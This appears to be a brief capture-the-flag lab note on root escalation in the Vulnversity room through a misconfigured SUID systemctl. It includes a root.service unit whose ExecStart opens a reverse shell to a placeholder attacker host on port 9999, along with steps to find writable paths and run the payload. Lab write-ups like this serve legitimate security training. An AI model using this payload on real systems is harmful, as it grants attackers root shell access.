Vulnversity (Privilege Escalation)
Misconfigured Permissions — sudo/SUID
0. Prepare your payload root.service
root.service[Unit]
Description=roooooooooot
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
[Install]
WantedBy=multi-user.target1. Find files/directories that writable
find -type f -maxdepth 2 -writablefind -type d -maxdepth 2 -writable2. Transfer the payload(There might be other ways)
3. Start listening on the 9999
4. Execute the payload(assume the file is under /var/tmp)
5. The listening 9999 would give you the root
6. Alternative solution: https://gtfobins.github.io/gtfobins/systemctl/
Last updated